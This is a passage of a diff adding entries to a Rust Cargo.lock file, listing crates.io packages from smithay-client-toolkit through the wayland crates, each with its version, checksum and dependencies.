"calloop-wayland-source 0.3.0", + "cursor-icon", + "libc", + "log", + "memmap2", + "rustix 0.38.44", + "thiserror 1.0.69", + "wayland-backend", + "wayland-client", + "wayland-csd-frame", + "wayland-cursor", + "wayland-protocols", + "wayland-protocols-wlr", + "wayland-scanner", + "xkeysym", +] + +[[package]] +name = "smithay-client-toolkit" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0512da38f5e2b31201a93524adb8d3136276fa4fe4aafab4e1f727a82b534cc0" +dependencies = [ + "bitflags 2.13.2", + "calloop 0.14.5", + "calloop-wayland-source 0.4.1", + "cursor-icon", + "libc", + "log", + "memmap2", + "rustix 1.1.5", + "thiserror 2.0.21", + "wayland-backend", + "wayland-client", + "wayland-csd-frame", + "wayland-cursor", + "wayland-protocols", + "wayland-protocols-experimental", + "wayland-protocols-misc", + "wayland-protocols-wlr", + "wayland-scanner", + "xkeysym", +] + +[[package]] +name = "smithay-clipboard" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71704c03f739f7745053bde45fa203a46c58d25bc5c4efba1d9a60e9dba81226" +dependencies = [ + "libc", + "smithay-client-toolkit 0.20.0", + "wayland-backend", +] + +[[package]] +name = "smol_str" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd538fb6910ac1099850255cf94a94df6551fbdd602454387d0adb2d1ca6dead" +dependencies = [ + "serde", +] + +[[package]] +name = "spin" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3763264f6b73151db08c50ff20d7d8a0b8796e021cdea7ceedad07b80155fa0e" + +[[package]] +name = "spirv" +version = "0.4.0+sdk-1.4.341.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9571ea910ebd84c86af4b3ed27f9dbdc6ad06f17c5f96146b2b671e2976744f" +dependencies = [ + "bitflags 2.13.2", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "strict-num" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6637bab7722d379c8b41ba849228d680cc12d0a45ba1fa2b48f2a30577a06731" +dependencies = [ + "float-cmp", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "svgtypes" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68c7541fff44b35860c1a7a47a7cadf3e4a304c457b58f9870d9706ece028afc" +dependencies = [ + "kurbo 0.11.3", + "siphasher", +] + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d78c8dee4c7bf0e14673097256fed6142ce9d3b85a408189d07482442145823b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "synstructure" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "901704edd0dfe137f1987838ee4f259e4e063c31371bdb423f7ae38ec6f77f02" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "sys-locale" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eab9a99a024a169fe8a903cf9d4a3b3601109bcc13bd9e3c6fff259138626c4" +dependencies = [ + "libc", +] + +[[package]] +name = "system-deps" +version = "7.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396a35feb67335377e0251fcbc1092fc85c484bd4e3a7a54319399da127796e7" +dependencies = [ + "cfg-expr", + "heck", + "pkg-config", + "toml 1.1.8+spec-1.1.0", + "version-compare", +] + +[[package]] +name = "tap" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" + +[[package]] +name = "target-lexicon" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adb6935a6f5c20170eeceb1a3835a49e12e19d792f6dd344ccc76a985ca5a6ca" + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix 1.1.5", + "windows-sys 0.61.2", +] + +[[package]] +name = "termcolor" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.16.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ecfad6c3abc80a577f2b91c1e412ee57e7a060d430b553c1b0c940974ebcd49" +dependencies = [ + "icu_segmenter", + "smawk", + "unicode-width", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" +dependencies = [ + "thiserror-impl 2.0.21", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "tiff" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b63feaf3343d35b6ca4d50483f94843803b0f51634937cc2ec519fc32232bc52" +dependencies = [ + "fax", + "flate2", + "half", + "quick-error", + "weezl", + "zune-jpeg", +] + +[[package]] +name = "tiny-skia" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83d13394d44dae3207b52a326c0c85a8bf87f1541f23b0d143811088497b09ab" +dependencies = [ + "arrayref", + "arrayvec", + "bytemuck", + "cfg-if", + "log", + "png 0.17.16", + "tiny-skia-path", +] + +[[package]] +name = "tiny-skia-path" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c9e7fc0c2e86a30b117d0462aa261b72b7a99b7ebd7deb3a14ceda95c5bdc93" +dependencies = [ + "arrayref", + "bytemuck", + "strict-num", +] + +[[package]] +name = "tinystr" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e27c91459209c2986af3dcf603a5a74a4368754ce37414f59acc971167f643" +dependencies = [ + "displaydoc", + "serde_core", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd3ca314f692efd6c868f8408f53fe444634a845f96c028b97d35f6a1f79f0ee" + +[[package]] +name = "tokio" +version = "1.53.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e95f91fcc7a621e8b030f6aa23c71fe9838ae2fb4d8118b75602a328f5144044" +dependencies = [ + "pin-project-lite", +] + +[[package]] +name = "toml" +version = "0.9.12+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf92845e79fc2e2def6a5d828f0801e29a2f8acc037becc5ab08595c7d5e9863" +dependencies = [ + "indexmap", + "serde_core", + "serde_spanned", + "toml_datetime 0.7.5+spec-1.1.0", + "toml_parser", + "toml_writer", + "winnow 0.7.15", +] + +[[package]] +name = "toml" +version = "1.1.8+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20489e00e4d8741d6be680764cc12e270655e375a20d1011e844a9c3379e678d" +dependencies = [ + "indexmap", + "serde_core", + "serde_spanned", + "toml_datetime 1.1.2+spec-1.1.0", + "toml_parser", + "toml_writer", + "winnow 1.0.4", +] + +[[package]] +name = "toml_datetime" +version = "0.7.5+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92e1cfed4a3038bc5a127e35a2d360f145e1f4b971b551a2ba5fd7aedf7e1347" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_datetime" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b86d767906c6c42421dcba507eb9d203e779497710a47782a224bb871653053" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.25.17+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3641d5bbb5349a79e1020a242d251efbc546ad8048d133958323ce9c40a9c9c" +dependencies = [ + "indexmap", + "toml_datetime 1.1.2+spec-1.1.0", + "toml_parser", + "toml_writer", + "winnow 1.0.4", +] + +[[package]] +name = "toml_parser" +version = "1.1.5+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baa693a8032d7e1cada7d0041e96126df243179ff061456783ac7f12bda4744c" +dependencies = [ + "winnow 1.0.4", +] + +[[package]] +name = "toml_writer" +version = "1.1.3+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06bdbd8cfc056b8d2e2e85f29b56a3bdbecb527cef81eb39e3e7b98af4652770" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "type-map" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb30dbbd9036155e74adad6812e9898d03ec374946234fbcebd5dfc7b9187b90" +dependencies = [ + "rustc-hash 2.1.3", +] + +[[package]] +name = "typeid" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc7d623258602320d5c55d1bc22793b57daff0ec7efc270ea7d55ce1d5f5471c" + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "uds_windows" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f6fb2847f6742cd76af783a2a2c49e9375d0a111c7bef6f71cd9e738c72d6e" +dependencies = [ + "memoffset", + "tempfile", + "windows-sys 0.61.2", +] + +[[package]] +name = "unicode-general-category" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b993bddc193ae5bd0d623b49ec06ac3e9312875fdae725a975c51db1cc1677f" + +[[package]] +name = "unicode-id-start" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0825d2e09dcae814a4273c1e1435979d414ede25b2ee235b1545da6682483765" + +[[package]] +name = "unicode-ident" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563" + +[[package]] +name = "unicode-segmentation" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6f5d3c3b1bf09027a88a6bc961fc00497d651009560b5463668dc81b0fa87a8" + +[[package]] +name = "unicode-width" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "ureq" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a7ac20be9b7726e0bbdbf974c059676d9acb1cd414961f570a4e8231cacd7fc" +dependencies = [ + "base64 0.23.1", + "flate2", + "log", + "percent-encoding", + "rustls", + "rustls-pki-types", + "ureq-proto", + "utf8-zero", + "webpki-roots", +] + +[[package]] +name = "ureq-proto" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f86fd172ccca569e458f61b6bdd6220965a9ef36e672a6852953b51a0e1583be" +dependencies = [ + "base64 0.23.1", + "http", + "httparse", + "log", +] + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "usvg" +version = "0.45.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80be9b06fbae3b8b303400ab20778c80bbaf338f563afe567cf3c9eea17b47ef" +dependencies = [ + "base64 0.22.1", + "data-url", + "flate2", + "imagesize", + "kurbo 0.11.3", + "log", + "pico-args", + "roxmltree", + "simplecss", + "siphasher", + "strict-num", + "svgtypes", + "tiny-skia-path", + "xmlwriter", +] + +[[package]] +name = "utf8-zero" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8c0a043c9540bae7c578c88f91dda8bd82e59ae27c21baca69c8b191aaf5a6e" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "uuid" +version = "1.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cc1186384beb7dd8eedea376413fd654937285ea6c9cfbb928dc3043ea4b606" +dependencies = [ + "js-sys", + "serde_core", + "wasm-bindgen", +] + +[[package]] +name = "vello_common" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2e9aed918117e8152c9eddfd8362d73c465c23f26c44786aa331707b8a64fa2" +dependencies = [ + "bytemuck", + "fearless_simd", + "guillotiere", + "log", + "peniko", + "smallvec", + "thiserror 2.0.21", +] + +[[package]] +name = "vello_cpu" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac7349e1f55f6b801c7c277958df4ea53e7f20f21e8014910ad888b2ecda93ea" +dependencies = [ + "bytemuck", + "glifo", + "hashbrown 0.17.1", + "vello_common", +] + +[[package]] +name = "version-compare" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03c2856837ef78f57382f06b2b8563a2f512f7185d732608fd9176cb3b8edf0e" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "vsimd" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c3082ca00d5a5ef149bb8b555a72ae84c9c59f7250f013ac822ac2e49b19c64" + +[[package]] +name = "vt100" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "054ff75fb8fa83e609e685106df4faeffdf3a735d3c74ebce97ec557d5d36fd9" +dependencies = [ + "itoa", + "unicode-width", + "vte", +] + +[[package]] +name = "vte" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd" +dependencies = [ + "arrayvec", + "memchr", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.4+wasi-0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67efb37e106e55ce722a510d6b5f9c17f083e5fc79afc2badeb12cc313d9487" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bb54f33acc68fd454578d9820b0bde1a1a3d17aa17bb7b6595806d02886d409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cbab34de2d982e9b48e18d216d04c4a6f641066ff19ffb699980f591ee3610e" +dependencies = [ + "js-sys", + "tokio", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e29d0c35b16e224a7eeb5cd2d25e3e1968fbd65604117b44d3b789d00ee8535" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f501a8bc3719dba86ef8ae4728879c08001bea749eb1333ac5b91e040e2a6b7" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 3.0.9", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f0c9c52aa7cd7d77769a4cfe2a9adb1b331f489a41d912ce14513d5ab995c6" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f64765e43c000fae008a48db8b288e175e237fc9ce20a26586836878c1bee89f" +dependencies = [ + "leb128fmt", + "wasmparser 0.258.3", +] + +[[package]] +name = "wasm-encoder" +version = "0.262.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4495a6f85dd94c411c749303efcbc5defade0b0cbdbc0541495241ab917a9b5a" +dependencies = [ + "leb128fmt", + "wasmparser 0.262.0", +] + +[[package]] +name = "wasm-metadata" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e10808eb27efde692f1b1706089fe19296728bf872291f5b4e0d50fba88f2f" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder 0.258.3", + "wasmparser 0.258.3", +] + +[[package]] +name = "wasmparser" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe9269dd817e0e7021bf534ccd9761bc2d64778b6708e41228b8439d75eaa0b1" +dependencies = [ + "bitflags 2.13.2", + "hashbrown 0.17.1", + "indexmap", + "semver", + "serde", +] + +[[package]] +name = "wasmparser" +version = "0.261.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f20f20e44f7e8aeb6744823ea9d869ede51e51be4fdaedede2852282e54d2d8" +dependencies = [ + "bitflags 2.13.2", + "indexmap", + "semver", +] + +[[package]] +name = "wasmparser" +version = "0.262.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "974d643b125b272607e2fff8012ea14a8328acd7621e4bafa7afb32500052b1b" +dependencies = [ + "bitflags 2.13.2", + "indexmap", + "semver", +] + +[[package]] +name = "wasmprinter" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14a457ba8670a3db3d357c1aeac3ed4fe378a76054a221789f0df0ea507e292b" +dependencies = [ + "anyhow", + "termcolor", + "wasmparser 0.258.3", +] + +[[package]] +name = "wasmprinter" +version = "0.261.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86a21c9e3325655ba02de3e645bc8357a8b3651a2e3ada25b6dbc37560deb9b7" +dependencies = [ + "anyhow", + "termcolor", + "wasmparser 0.261.0", +] + +[[package]] +name = "wasmtime" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36abb25de5518707e5ba96b586366b09db168d2d4976cb9dac57265a317497ea" +dependencies = [ + "addr2line", + "async-trait", + "bitflags 2.13.2", + "bumpalo", + "cc", + "encoding_rs", + "futures", + "libc", + "log", + "mach2", + "memfd", + "object 0.40.0", + "once_cell", + "postcard", + "pulley-interpreter", + "rustix 1.1.5", + "semver", + "serde", + "serde_derive", + "smallvec", + "target-lexicon", + "wasmparser 0.258.3", + "wasmtime-environ", + "wasmtime-internal-component-macro", + "wasmtime-internal-component-util", + "wasmtime-internal-core", + "wasmtime-internal-cranelift", + "wasmtime-internal-fiber", + "wasmtime-internal-jit-debug", + "wasmtime-internal-jit-icache-coherence", + "wasmtime-internal-unwinder", + "wasmtime-internal-versioned-export-macros", + "wat", + "windows-sys 0.61.2", +] + +[[package]] +name = "wasmtime-environ" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92f16a4d09fb1fbf2dcfeddb9818e1517a258e13b505b3bfdadcf47a19bf31ca" +dependencies = [ + "anyhow", + "cpp_demangle", + "cranelift-bforest", + "cranelift-bitset", + "cranelift-entity", + "gimli", + "hashbrown 0.17.1", + "indexmap", + "log", + "object 0.40.0", + "postcard", + "rustc-demangle", + "semver", + "serde", + "serde_derive", + "sha2", + "smallvec", + "target-lexicon", + "wasm-encoder 0.258.3", + "wasmparser 0.258.3", + "wasmprinter 0.258.3", + "wasmtime-internal-component-util", + "wasmtime-internal-core", +] + +[[package]] +name = "wasmtime-internal-component-macro" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fca03bd4425856574c0807d1dee16fad43f947feaf4e9ae1d2129596ee4de4" +dependencies = [ + "anyhow", + "proc-macro2", + "quote", + "syn 2.0.119", + "wasmtime-internal-component-util", + "wasmtime-internal-wit-bindgen", + "wit-parser", +] + +[[package]] +name = "wasmtime-internal-component-util" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4006009fc3598af4e895ab18c6c33d2c6b7c657b1bd0a755ca7ee1abef6f0c16" + +[[package]] +name = "wasmtime-internal-core" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "947a732ad659f42c10ec639706fc8cb1f068dd9a55eebde8a1f24dfd06dfa525" +dependencies = [ + "hashbrown 0.17.1", + "libm", + "serde", +] + +[[package]] +name = "wasmtime-internal-cranelift" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbfb8b455d524939e03df42e3e749f8e26e26ba2acd8b08fa00b3bda55686750" +dependencies = [ + "cranelift-codegen", + "cranelift-control", + "cranelift-entity", + "cranelift-frontend", + "cranelift-native", + "gimli", + "itertools 0.14.0", + "log", + "object 0.40.0", + "pulley-interpreter", + "smallvec", + "target-lexicon", + "thiserror 2.0.21", + "wasmparser 0.258.3", + "wasmtime-environ", + "wasmtime-internal-core", + "wasmtime-internal-unwinder", + "wasmtime-internal-versioned-export-macros", +] + +[[package]] +name = "wasmtime-internal-fiber" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd8aa8711f68b2cdd94c2b85ba5c8317edaa1ac4ee0a0534b957123680239307" +dependencies = [ + "cc", + "libc", + "rustix 1.1.5", + "wasmtime-environ", + "wasmtime-internal-versioned-export-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "wasmtime-internal-jit-debug" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e873e4504faf50aa8ce255d6ea7210d87b39d5f379c2486782e2c5f179c70ca8" +dependencies = [ + "cc", + "wasmtime-internal-versioned-export-macros", +] + +[[package]] +name = "wasmtime-internal-jit-icache-coherence" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "197ab1fda5da958a5c0b8a97eb241beafc48ac568b82ef4f12f38d6866c74173" +dependencies = [ + "libc", + "wasmtime-internal-core", + "windows-sys 0.61.2", +] + +[[package]] +name = "wasmtime-internal-unwinder" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5577f3a5a979a7c3b1b23c1e9f13e70a8583acc8828471ec56f282117fc4952b" +dependencies = [ + "cranelift-codegen", + "log", + "object 0.40.0", + "wasmtime-environ", +] + +[[package]] +name = "wasmtime-internal-versioned-export-macros" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6399c9c4050ed431cf66e21c05fadd6f9731db44476f452f8c7142b4597b883" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "wasmtime-internal-wit-bindgen" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4eaf45d4da7681d234bb6efd846b4a528b08a75384a7fc23f125d0145364b06" +dependencies = [ + "anyhow", + "bitflags 2.13.2", + "heck", + "indexmap", + "wit-component", + "wit-parser", +] + +[[package]] +name = "wast" +version = "262.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30612a0c29249b5f185888a107e8a519d920226b7d07f9d351fd094e9f75eb23" +dependencies = [ + "bumpalo", + "leb128fmt", + "memchr", + "unicode-width", + "wasm-encoder 0.262.0", +] + +[[package]] +name = "wat" +version = "1.262.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e228027f2b07bbaf946980ebbe2437fca73be6f54c40c2a8d4f42f277075f8d1" +dependencies = [ + "wast", +] + +[[package]] +name = "wayland-backend" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38a91b4eaddff87b1cd1074985e3713da4af2c49742d1b356b2c01670a67a078" +dependencies = [ + "cc", + "downcast-rs", + "rustix 1.1.5", + "scoped-tls", + "smallvec", + "wayland-sys", +] + +[[package]] +name = "wayland-client" +version = "0.31.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3c36a0f861ad76d0901f2800b46321410d9f73f2ea88aac0650d86c32688073" +dependencies = [ + "bitflags 2.13.2", + "rustix 1.1.5", + "wayland-backend", + "wayland-scanner", +] + +[[package]] +name = "wayland-csd-frame" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625c5029dbd43d25e6aa9615e88b829a5cad13b2819c4ae129fdbb7c31ab4c7e" +dependencies = [ + "bitflags 2.13.2", + "cursor-icon", + "wayland-backend", +] + +[[package]] +name = "wayland-cursor" +version = "0.31.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a52d18780be9b1314328a3de5f930b73d2200112e3849ca6cb11822793fb34d" +dependencies = [ + "rustix 1.1.5", + "wayland-client", + "xcursor", +] + +[[package]] +name = "wayland-protocols" +version = "0.32.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23d0c813de3daa2ed6520af85a3bd49b0e722a3078506899aa9686fea58dc4b6" +dependencies = [ + "bitflags 2.13.2", + "wayland-backend", + "wayland-client", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-experimental" +version = "20250721.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40a1f863128dcaaec790d7b4b396cc9b9a7a079e878e18c47e6c2d2c5a8dcbb1" +dependencies = [ + "bitflags 2.13.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-misc" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e9567599ef23e09b8dad6e429e5738d4509dfc46b3b21f32841a304d16b29c8" +dependencies = 